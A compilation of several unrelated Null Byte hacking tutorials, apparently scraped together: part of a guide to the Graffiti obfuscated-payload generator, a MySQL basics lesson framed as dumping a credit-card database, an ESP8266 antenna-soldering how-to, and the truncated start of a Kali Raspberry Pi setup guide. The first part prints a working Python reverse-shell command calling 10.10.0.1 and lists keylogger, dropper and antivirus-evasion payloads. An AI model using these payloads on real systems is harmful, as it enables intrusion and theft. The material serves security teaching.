https://github.com/Ekultek/Graffiti * branch master -> FETCH_HEAD Already up to date.It's also useful to know whatexternal commandswe have available to us, so we don't need to exit interactive mode or switch to a new tab to run the usual commands. Use theexternalcommand to view a list of these:root@graffiti:~/graffiti# external busybox nc bzdiff zsh5 uname kill networkctl touch systemd-notify hashcat udevadm systemd bzfgrep tempfile ls bzcat goscan vdir df rzsh dd cpio ulockmgr_server systemctl rbash grep bzexe ntfssecaudit dirsearch findmnt zcmp umount nisdomainname sleep ntfsinfo kbd_mode dir systemd-inhibit sync ifconfig zforce mknod sed systemd-hwdb mountpoint znew mktemp kmod rsync fgconsole nano loginctl chvt systemd-ask-password ntfsrecover lowntfs-3g run-parts rm systemd-tmpfiles dnsdomainname gzexe uncompress ping4 keyctl ping6 netstat journalctl ntfsfix bzmore ntfscat bash zmore ntfsmove pidof bzgrep zdiff systemd-escape ln systemd-sysusers ypdomainname zegrep login ntfstruncate ntfscluster lsblk nmap chmod echo ntfs-3g wdctl cp sh.distrib usleep ps fusermount mkdir bzcmp mt-gnu fuser rmdir vi zless more lsmod openvt setupcon telnet ntfs-3g.probe bunzip2 pwd ntfswipe true systemd-tty-ask-password-agent zcat stty setfacl mount cat mt plymouth mv bzip2recover bzegrep zsh false tar domainname ip dash getfacl hciconfig setfont zgrep systemd-machine-id-setup bzip2 egrep chacl nc.traditional hostname ping zfgrep chgrp python find fgrep which ntfsfallocate ntfscmp unicode_start ftp bzless readlink date netcat gunzip loadkeys dmesg dumpkeys ss sendprobe clear su ntfsusermap chown sh rnano gzip ntfsls sshFor instance, we can run a command likeuname -adirectly from Graffiti's interactive prompt:root@graffiti:~/graffiti# uname -a Linux drd 5.2.0-kali3-amd64 #1 SMP Debian 5.2.17-1kali2 (2019-10-17) x86_64 GNU/LinuxThelistcommand will show all the available payloads, much like the-lswitch from before:root@graffiti:~/graffiti# list /windows/batch/nc_bind.json /windows/batch/certutil_exe.json /windows/batch/nc_reverse.json /windows/batch/sync_appv.json /windows/python/socket_reverse.json /windows/powershell/keylogger.json /windows/powershell/escalate_service.json /windows/powershell/meterpreter_shell.json /windows/powershell/cleartext_wifi.json /windows/perl/socket_reverse.json /windows/ruby/socket_reverse.json /linux/python/socket_reverse.json /linux/php/socket_reverse.json /linux/perl/socket_reverse.json /linux/ruby/socket_reverse.json /linux/bash/subdomain_enum_crt.json /linux/bash/netcat_reverse.json /linux/bash/download_linux_exploit_suggester.json /linux/bash/pipe_reverse.json /linux/bash/subdomain_enum_archive.json /linux/bash/suid.json /linux/bash/download_checkers.json /linux/bash/netcat_binder.json /linux/bash/download_nmap_scripts.json /linux/bash/download_linux_priv_checker.json /linux/bash/bash_reverse.jsonWe can also get information about the payloads with theinfocommand. Unfortunately, it doesn't allow us to single out a payload, instead, listing all of them at once:root@graffiti:~/graffiti# info Script type: batch Execution type: bind Information: uses Windows netcat to start a bindshell Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_bind.json Script type: batch Execution type: dropper Information: uses certutil to download a file without causing suspicion Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/certutil_exe.json Script type: batch Execution type: reverse Information: uses netcat to start a reverse shell Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/nc_reverse.json Script type: batch Execution type: dropper Information: uses Microsoft SyncAppvPublishingServer to download and execute a powershell file Full path: /root/.graffiti/.install/etc/etc/payloads/windows/batch/sync_appv.json Script type: python Execution type: reverse Information: uses python socket library to connect back and execute commands with subprocess Full path: /root/.graffiti/.install/etc/etc/payloads/windows/python/socket_reverse.json Script type: powershell Execution type: other Information: creates a keylogger that stores in C:\Users\Public\key.log Full path: /root/.graffiti/.install/etc/etc/payloads/windows/powershell/keylogger.json ...To search for a specific payload, use thesearchcommand. For example, to search for Python payloads:root@graffiti:~/graffiti# search python found 2 relevant options: ------------------------------ /windows/python/socket_reverse.json /linux/python/socket_reverse.jsonWe can create a payload with theusecommand, followed by the desired payload and the type of encoding to use:root@graffiti:~/graffiti# use /linux/python/socket_reverse.json raw enter the LHOST: 10.10.0.1 enter the LPORT: 4321 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'It will prompt us for the listening IP address and port, and it will display the command for the reverse shell when it's done.Similar to Graffiti's command-line mode, we can view a history of cached payloads by using thecachedcommand:root@graffiti:~/graffiti# cached Type: Reverse Execution: Python Payload: u'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''We can also display the command history with thehistoryoption:root@graffiti:~/graffiti# history 1 ? 2 exit 3 ? 4 check 5 external 6 id 7 uname 8 uname -a 9 ? 10 list 11 info 12 list 13 info /linux/python/socket_reverse.json 14 ? 15 info 16 ? 17 search python reverse 18 search python 19 use /linux/python/socket_reverse.json raw 20 graffiti -h 21 use /linux/python/socket_reverse.json xor 22 ? 23 cached 24 historyFinally, to exit interactive mode, simply typeexitat the prompt:root@graffiti:~/graffiti# exit saving current history to a file exiting terminalWrapping UpIn this tutorial, we learned how to use a tool called Graffiti to generate obfuscated payloads for use in penetration testing and hacking. First, we set up the tool and installed it onto our system for easy use. Next, we explored the command-line mode and some of the options it has available, including listing payloads, viewing history, and creating payloads encoded in a variety of techniques. We then took a look at the interactive mode and how it can easily be used to generate payloads, all from an interactive prompt.Getting past defenses with obfuscated payloads has never been easier with Graffiti.Don't Miss:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/PexelsRelatedHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Evade AV Software with ShellterHow To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)How To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Hacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHacking Windows 10:How to Create an Undetectable Payload, Part 2 (Concealing the Payload)How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCAntivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHow To:Create & Obfuscate a Virus Inside of a Microsoft Word DocumentHack Like a Pro:How to Evade AV Detection with Veil-EvasionHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Exploring the Inner Architecture of MetasploitLockdown:The InfoSecurity Guide to Securing Your Computer, Part INews:POV Graffiti Video Shot With a HeadcamHow To:Earn the 'Dev Graffiti' Achievement and Trophy in RageNews:Will Kidult Wage a Graffiti Civil War?How To:identify gang graffiti (P1)News:Fibonacci GraffitiDrive-By Hacking:How to Root a Windows Box by Walking Past ItNews:10 Clever Uses for the LED Throwie
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 14 (MySQL) Β« Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!This tutorial will be the fourtenth in theLinux for hackersseries and will focus on the MySQL database. Although this is not strictly a Linux tutorial, MySQL is the database of choice on most Linux distributions. In addition, it is the most widely used database behind database driven web applications. This installment is critical to understand before we progress to hacking MySQL databases and before we hack web applications that use MySQL (which there are literally thousands).MySQL is an open source, GPL licensed database. That is probably the primary reason you will find it on nearly every Linux distribution. As you know, Linux is also open source and GPL licensed. First developed by MySQL AB of Sweden in 1995, it was purchased by Sun Microsystems in 2008 and Sun Microsystems was then purchased by Oracle in 2009.As Oracle is the world's largest database software publisher, the open source community has significant trepidations about Oracle's commitment to keep MySQL open source. As a result, there is now a fork of the MySQL database software called Maria that IS committed to keeping this software and its subsequent versions open source.Because it's free, MySQL has become the database of choice for many web applications. Sites and apps that use it include:WordPressFacebookLinkedInTwitterKayakWalmart.comWikipediaYouTubeOther popular Content Management Systems(CMS) such as Joomla, Drupal, and Ruby on Rails all use MySQL. You get the idea. If you want to develop or attack web applications, you should know MySQL. So, let's get started.Step 1: Start MySQLLuckily, BackTrack has MySQL already installed (if you are using another distribution, you can usually download and install MySQL from the software repository) and has a graphical start and stop. Let's start our MySQL service.When we do so, we should see a screen like that below pop up briefly and then disappear.Step 2: Logging in to MySQLNow that our MySQL service is started, we can begin to use it. First, we need to authenticate ourselves by logging in.Open a terminal and type:mysql -u root -pYou will be prompted for your password, which is "toor" in BackTrack. It may be different on other systems. Please note that although the username and password for MySQL is the same as the BackTrack username and password, that is not necessarily so on other distributions of Linux and MySQL. Usernames and passwords for the operating system (here is it Linux Ubuntu) and MySQL are separate and distinct.This syntax, mysql -u <username> -p, works if we are trying to access a MySQL database on our localhost. This command defaults to using the MySQL instance on the localhost, if not given a hostname or IP address. For remote access (and that will likely be the case as a hacker), we need to provide the hostname or IP address of the system that is hosting the MySQL database, such as:mysql -u root -p 192.168.1.101This will connect us to the MySQL instance at 192.168.1.101 and prompt us for a password.This opens up the MySQL command line interface that provides us with themysql>prompt. Like Microsoft's SQL Server, MySQL has a GUI interface both native (MySQL Workbench) and third party (Navicat and TOAD for MySQL). Let's look athe command line interface first and then will will advance to the GUI interfaceAs a hacker, the command line interface may be our best opportunity for exploiting the MySQL database, so we should focus on it. It's unlikely that as an unauthorized entrant to the database you will be presented with an easy to use GUI.Please note that this screen reminds us that all commands end in " ;"or "\g" (unlike Microsoft's SQL Server) and that we can get help by typing help; or \h.As we are now logged as the systadmin (root), we can navigate unimpeded through the database. If we had logged in as a regular user, our navigation would be limited by the permissions provided us by the system administrator for that user.Step 3: Show DatabasesNow that we are logged in to the MySQL database as root, our next step is to find out whether there are any databases worth hacking. The command to find databases is:show databases;Ah Hah! We found a database worth exploring here named "creditcardnumbers".Step 4: Connect to a DatabaseOnce we have logged into the MySQL instance, our next step is to connect to a particular database. In MySQL, like other database management systems, we can connect to the database we are interested in by typinguse<databasename>. Since we now know that the database we are interested in is named "creditcardnumbers", we simply type:use creditcardnumbers;As you can see, MySQL responds with "Database changed", indicating that we are now connected to the "creditcardnumbers" database.Of course, I hope it goes without saying, that you should use the appropriate database name in place here of "creditcardnumbers". Its unlikely that a database admin will be so kind and accommodating as to name a database with such an easily recognizable name, so you may need to do a bit of exploring to find the database of interest.Step 5: Finding the TablesNow we are connected to the "creditcardnumbers" database and we can do a bit of exploring to see what might be in that database. We can find out what tables are in this database by typing:show tables;In the screenshot above, we can see that this database has just one table in it called "cardnumbers". Generally, databases will have numerous tables in them, but we are fortunate here as we can focus our attention on this single table to extract the hackers "golden fleece"!Step 6: Describe the Table to Discover Its StructureSince we can focus our efforts on this single table, we will need to understand the structure of that table. In subsequent tutorials--when we are hacking this database--we will see that understanding the structure is critical to a successful hack.We can see the structure of the table by typing:describe cardnumbers;MySQL responds with the critical infornation on the structure of our table of interest. We can see each of the fields and their data type (varchar or int), whether it will accept NULL's, the key, the default values and extra.Step 7: SELECT DataTo actually see the data in the table, we can use the SELECT command. The SELECT command requires to know:The table we want to viewThe columns within that table we want to viewUsing the format:SELECT <columns> FROM <table>As a handy shortcut if we want to see data from all the columns, we can use the asterix ("*") as a wildcard instead of typing out every single column name. So, to see a dump of all the data from the cardnumbers table, we type:SELECT * FROM cardnumbers;As we can see, MySQL displayed all the information from the cardnumbers table to our screen.Step 8: Export DataNow that we know where the data is, we need to export it so that we can use it. MySQL has a command calledmysqldump. Generally, it is used to create a backup copy of the data. You can run it from any command prompt, but you will need:A username (root)The password for that username (toor)The name of the database you want data from (creditcardnumbers)The table within the database you want (cardnumbers)The directory you want to dump to (/tmp)So, to "dump" the data from command line we simply type:mysql --tab = /tmp --user root -p creditcardnumbers cardnumbers;This will send the data to the directory we designated, in this case /tmp.Success!As we can see below (after we changed to the /tmp directory and then listed that directory) we have created two files,cardnumbers.sqlandcardnumbers.txt. The first, cardnumbers.sql, contains a script to create the table necessary to hold the data and the second, cardnumbers.txt, contains the data.Now, we have successfully acquired the key and valuable information from this database, essentially having found the golden fleece of hacking!Since MySQL is SO critical to web apps, we will be spending a few tutorials on understanding it, then how to find it and finally how to hack it, so keeps coming back my greenhorn hackers for more adventures in Hackerland.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How to Hack Databases:Hacking MySQL Online Databases with SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Logs and Linux Commands:What's Going On Here?Goodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingNews:Let Me Introduce MyselfGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker Training
How to Use a Directional Antenna with ESP8266-Based Microcontroller Β« Null Byte :: WonderHowTo
Microcontrollers likeESP8266-based boardshave built-in Wi-Fi, and that's really cool, but what's even cooler is that certain pro models of the D1 Mini also have a port where you can connect a directional antenna. This can give you exceptional range, but if you were to just plug one in after opening the package, it most likely wouldn't work.The problem, as Glytchcovered in a Hak5 videolast year, is that there's a tiny zero-ohm resistor on the board that's connecting the built-in antenna to the chip, but it needs to connect to the external directional antenna. To do so, that tiny resistor needs to be changed to a different pad that connects it to the breakout adapter. So a little bit of surface mount soldering is needed to fix the issue.Things You'll NeedA couple of things are needed to connect a directional antenna to a D1 Mini successfully. First, asoldering station, also known as ahelping hands stand, is needed to hold onto the D1 Mini so that you don't burn yourself in the process or lose anything.Soldering stations can be cheap or a little pricy, and some come with a magnifying glass and light, and some do not. You'll definitely need a magnifying glass for this job, and any of the ones below will work. If you already have an LED light,Neiko'sis a solid inexpensive option.Newacalox'sstand has lots of alligator clips and a magnifier with LEDs that have three different color temperatures but is pricier.Neiko 2-Clip Stand with 2X Magnifying Glass($12)Hi-Spec 2-Clip Stand with 2X Magnifying Lens with LEDs($19.99)Ram-Pro 2-Clip Stand with 3X Magnifier & LED Flex Light($14.99)Newacalox 5-Clip Stand with 3X Magnifying Glass with 3-Color LEDs($40.99)The Ram-Pro model has 3x magnification and flexible light.Image by Ram-Pro/AmazonFor many, the magnifying glass may not be powerful enough to see the components clearly on the board. If you think that'll be you, you could also geta digital microscopewith a miniature camera so that you can display it on a computer monitor. I use a Jiusion 40–1,000x digital microscope, but there are others you could shop for.Jiusion 40–1,000x Digital Microscope with OTG Adapter & Stand($21.99)Image by Jiusion/AmazonSecond, a goodpair of tweezerswill help nudge the resister to the right spot. Third, ahot air rework station with a hot-air gunto heat the solder so that the part can be moved without burning the board. You could try using a soldering iron, but the part that needs moved tends to get stuck to the iron, so a hot-air gun makes it a little less difficult. The Newacalox hot air rework stationthat I usedcomes with a couple of tweezers too, and there's a newer version of it for the same price.Newacalox NEW-858D Hot Air Rework Station with Hot Air Gun($49.99)Newacalox OLD-858D Hot Air Rework Station with Hot Air Gun($49.99)The new model of the 858D rework station.Image by Newacalox/AmazonNext, you need an ESP8266-based D1 Mini Pro microcontroller that has a breakout adapter.This onefrom Reland Sung on Amazon has the cable and antenna connector needed. It also has an antenna, but it's not the directional antenna we will be connecting today.WEMOS D1 Mini Pro with External Antenna Connector($11.05)The directional antenna I'm using is an Alpha brand panel antenna. Check out ourantenna picking guideanddirectional antenna overviewto learn more about directional antennas and the ones available.Alfa RP-SMA 7 dBi Panel Antenna($10.99)Step 1: Place the D1 Mini in Your Helping HandsBefore you do anything, clamp in your D1 Mini board with the alligator clips on the soldering stand. Make sure the board is positioned with the right side up. Get some lights on it to see and position the magnifying glass so you can see the smaller parts of the board easily. If you're having a hard time seeing the components on the board, you may need to geta digital microscope with more magnification.Step 2: Locate the Zero-Ohm ResistorOn your D1 Mini, find the zero-ohm resistor for the antenna. It should look like the one below. The resistor is soldered to the internal antenna on the left side, but it needs to be moved so that it's soldered to the empty pad on the right, which leads to the adapter port. As it is now, our external directional antenna would be completely cut off from the microcontroller when connected.To fix it, we'll need to desolder the resistor from the internal antenna pad (1 in the picture above) and input pad (2 above) and resolder it to the input pad (2 above) and the external antenna pad (3 above).Step 3: Heat Up Your Hot Air GunTo move the resistor, get your hot air rework station ready to go and heated up. Use the knob to adjust the amount of air that flows through and the temperature buttons to get it up to the right temp. It's similar to a soldering iron where you'll only want to apply the necessary heat to the solder with the hot air gun. I set my gun to 290-degrees Celsius (554-degrees Fahrenheit).Step 4: Heat the Solder & Remove the ResistorWhen you pick up the gun, it should automatically start so that you can use the hot air to melt the solder. Point the hot air gun over the board to heat the solder at the resistor so that it's warm, but keep an eye on the board in the magnifying glass or microscope to make sure there is no burning happening.Go back and forth to make sure you're heating all the solder under it, then get closer with the gun to apply some more direct heat to melt the solder. You'll notice that the flux will start to go a bit until the solder melts. Just make sure you're careful, as the hot air gun could actually blow away the resistor if you're applying too much air to it.When it's melted enough, use a good pair of tweezers to pull the resistor from the pads gently. It's delicate work, so be very careful the resistor doesn't fly off the board where you'll never be able to find it.Step 5: Replace the Resistor to Connect the External AntennaNow, keep applying heat to the solder to get the pads for the input and breakout adapter for the external antenna. Then, very carefully rest the resistor you pulled onto the correct pads. It doesn't have to be pretty, just as long as there's a good connection.Step 6: Heat the Solder Joints Again to Create a CircuitFor good measure, heat the solder joints again to make sure there's a good connection. Then, let it dry a bit so that there's a solid lock on the pads. Once it dries, try moving it with the tweezers to make sure it's steady. If not, heat it again and position it better.Step 7: Test Out Your Directional AntennaNow it's time to test out the board and antenna. Attach the breakout cable to the board and your directional antenna to its adapter. Next, test your work by plugging the board into a Micro-USB cable to a power supply to create a hotspot with the board. If you haven't already, check out our guide oncreating a D1 Mini test network for hackingto turn it into a hotspot you can connect to.After plugging it into a power supply and creating a hotspot, use a computer withWiresharkon the other side of the room to detect whether or not there's a signal spike when moving the directional antenna back and forth. If it were an omnidirectional antenna, you would see a steady signal, but there should be a big spike when you point your directional antenna directly to the computer.Exceptional RangeAdding a directional Wi-Fi antenna to a D1 Mini can give your project an exceptional range. If you were to make this modification on two separate ESP8266-based boards and put them a couple of miles apart, you would probably be able to get your devices to connect far beyond the traditional range you would expect for this little IoT board.Just keep in mind that it's really easy to accidentally blow away the little zero-ohm resistor while fixing the board. So if you're using a hot air station that's not adjustable, make sure that you're doing the work very carefully, heating the board slowly, because it's really annoying to have this thing of flying off into nowhere land.Don't Miss:Generate Crackable Wi-Fi Handshakes with an ESP8266-Based Test NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Retia/Null ByteRelatedHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHow To:Pick an Antenna for Wi-Fi HackingHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Build an eco-friendly directional WiFi antennaHow To:A Hacker's Guide to Programming MicrocontrollersHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Safely Launch Fireworks Over Wi-Fi with an ESP8266 Board & ArduinoHow To:Extend Your Wi-Fi Signal with This Super Cheap and Easy-to-Make Directional Biquad AntennaHow To:Create cheap WiFi antennas for better receptionHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Increase Your Xbox 360 WiFi rangeHow To:Do the Assembly of an UHF AntennaHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Make music with a microcontrollerHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:TAP Card Dissolved! How to Use Acetone to Transfer an RFID Tag to Your PhoneHow To:Build a cantenna, a can-based DIY wifi antenna to boost your wireless signalHow To:Program PIC microcontrollers in OS XHow To:Use Directional Swipes to Unlock Your Galaxy S6 with the Hidden 'Direction Lock' FeatureHow To:Install memory in a 2009 Mac MiniHow To:Generate Crackable Wi-Fi Handshakes with an ESP8266-Based Test NetworkHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Build a $20 Super Antenna for Better Signal Strength & More Free Broadcast TV ChannelsHow To:Embed lights into a colorful brooch with LilyPadHow To:Embed lights into a backpack for safety with LilyPadHow To:Embed lights into fabric and clothes with LilyPadNews:HAM and CB AntennaNews:Let yourself In with this Hacked Morse Code Door Buzzer!How To:High Voltage Happiness? How to Make a Negative Ion GeneratorHow To:Design Your Own Custom Arduino Board MicrocontrollerHow To:Build a Wireless Energy Transfer Array to Power Light Bulbs Without Plugging Them In
Turn Any Phone into a Hacking Super Weapon with the Sonic Β« Null Byte :: WonderHowTo
TheWatch Dogs video game seriescame out in 2014, enamoring audiences with the idea of a seemingly magical smartphone that could change traffic signals, hack web cameras, and even remotely control forklifts. This may sound like science fiction, butThe Sonicuses a customized flavor of Kali Linux to allow you to unleash the power of Kali from any smartphone β€” all without the need to create a hotspot to control it.If you've ever tried hacking on an iPhone, you know it's not a straightforward process. A few problems arise when trying to do any sort of hacking from a smartphone. First, the operating systems are incredibly restrictive. The closest thing to "hacking" you'll ever get on an iPhone is a port scanner.You could jailbreak your iPhone, or put Kali NetHunter on an Android device, but even then you are extremely restricted when it comes to wireless hacking by the hardware. Essentially, these strategies expect too much flexibility from devices that were designed for a specific purpose.Don't Miss:How to Install Kali Nethunter on Supported Android DevicesEnter The Sonic. It comes pre-built with all of the tools needed to control a Raspberry Pi right from your smartphone. This is where we start to loosen the proverbial chains of our smartphones, by adding a more versatile companion device. When we connect to The Sonic, we can offload any work our phone can't do and take advantage of a fully functional Kali Linux attack suite.The Sonic, complete with wireless network adapter, being discreet.Image by SADMIN/Null ByteThis build is different from our previousRaspberry Pi-based Kali Linux, in which our Pi connects to our smartphone's hotspot to be controlled. If your phone doesn't have a hotspot, The Sonic will turn the Raspberry Pi's internal Wi-Fi card into a command-and-control communications Wi-Fi link, which you can connect to from any smartphone to access its features.One major difference in these two build methods is that the The Sonic will not be able to tether an internet connection from your phone. To connect to the internet, you will need to first connect to The Sonic's wireless AP from your smartphone, and then connect The Sonic to a nearby Wi-Fi network to establish a link to the internet.The Sonic Pi can access a network for you, hiding your real MAC address. To access the internet, you first connect to the Sonic Pi, and then connect the Sonic Pi to the Wi-Fi network providing internet.Image by Allegiance/Null ByteThis means The Sonic will need two interfaces, the command-and-control to host the connection to your smartphone and the "attack" antenna to connect the Pi to the network you want to access the internet from.For more on our alternative Kali Linux build, check out the link below.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxStep 1: Gathering the Necessary PartsGoing onthe Sonic's website, we see that there are some other parts we're going to need. In addition to aRaspberry Pi 3, the following parts are suggested:A TP-Link TL-WN722N wireless card. Any wireless card with an Atheros chip should also satisfy this recommendation. If you're not sure what chipset your wireless card uses, check out the link below for our breakdown.More on Picking an Adapter:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017We will also need amicroSD cardto burn The Sonic image to.Although it isn't a specific requirement on The Sonic website, we're also going to want to pick up a good battery for our Raspberry Pi. If we want truly mobile hacking, we need a truly mobile solution. I testedthis batterywith a Raspberry Pi 3 B and it lasted more than 7 hours!To make a Sonic, you'll need a Raspberry Pi 3 and a Kali-compatible wireless network adapter.Image by SADMIN/Null ByteThe main benefit to using the Pi over something like a laptop is portability and stealth. While a laptop with several antennas sticking out looks pretty suspect, someone using The Sonic appears to be doing nothing more than checking their phone.Now that we've got the hardware, we need to get some matching software. For mobile devices, we need to make sure we have the Google Chrome web browser. Safari on iPhone doesn't support the JavaScript functions that The Sonic uses, so we need Google Chrome to access it properly.Step 2: Downloading & Burning the Sonic ImageYou can download the IMG file for The Sonic fromhere. The image will be delivered in the form of a 2.1 GB ZIP archive, which you'll have to extract. After you unzip the image, the total size will be around 16 GB, so be aware you're working with some pretty big files.Because the files are so massive, it's a good idea to verify their integrity. You can do this by checking the hash values for the downloaded file and comparing them to the ones shown on the download page of the website.FCIVis an easy to use command line tool for Windows to calculate the hash values. For Linux, you can use the commandmd5sum, and Mac users can use the commandmd5.The hash checksums for the .zip file can be found on The Sonic website.Once you have the image, the steps to flash it to the microSD card vary depending on your operating system. Find your operating system below and follow the necessary steps.On WindowsIn order to flash The Sonic image on Windows, we need some additional software.Win32 Disk Imagerwill let us pick the image file, select what device we want to write to, and finally take care of the rest for us.On Mac & LinuxWe can useddin our terminal. First, we will need to figure out which connected disk device represents the SD card. This can be done by runninglsblkin Linux, ordiskutil listin macOS. Next, we need to unmount the device viaumount(disklocation)in Linux, ordiskutil unmount /dev/devicein macOS. Finally, we write the image to the SD card with the following command.dd if=theImageFile.img of=/dev/device bs=4m.Once the card has been flashed, insert it into your Raspberry Pi.Step 3: Connecting to the SonicNow it's time to start up our Sonic!A quick note before we continue: The Sonic is programmed to automatically configure the necessary Linux files to set up an access point. To do this, the Pi will restart itself once or twice. This is completely normal.During this process, The Sonic is assigning your Raspberry Pi's internal Wi-Fi card a special interface name so that it can run an access point. After that, The Sonic will run a few startup scripts to configure the access point, enable SSH login, and run the web application.Don't Miss:Get Anyone's Wifi Password Without Cracking Using WifiphisherPlug your wireless network adapter into the Raspberry Pi, and power on the Pi by connecting it to a power source via the Micro USB power cable.Once the Pi is done setting itself up, it will start the built-in access point. By default, the SSID isThe Sonicand the password ispassword. It's definitely a good idea to change these at some point. This can be done by going to the "AP Manager" tab on The Sonic web app, which we'll take a look at soon.The default WPA password for The Sonic is the easiest "password" ever.Step 4: Troubleshooting Issues with the SonicIf you don't see an access point named "The Sonic" after 15 minutes, there are a few things to check.First, turn off your Sonic, plug it into a monitor, and power it back on. We want to check and see if the device is booting up 